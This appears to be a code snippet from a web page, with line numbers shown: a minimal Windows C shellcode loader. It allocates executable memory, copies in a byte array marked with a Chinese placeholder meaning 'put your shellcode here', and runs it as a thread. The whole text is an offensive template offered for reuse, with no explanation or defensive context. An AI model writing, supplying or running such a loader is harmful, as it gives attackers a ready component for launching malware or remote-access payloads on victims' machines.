1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
|
#include <windows.h>
int main() {
unsigned char code[] = "放入你的shellcode"; int code_size = 0; HANDLE HTHread; DWORD dwThreadId;
code_size = sizeof(code);
char* addr = (char*)VirtualAlloc( NULL, code_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
CopyMemory(addr, code, code_size); HTHread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, &dwThreadId );
WaitForSingleObject(HTHread, INFINITE); return 0; }
|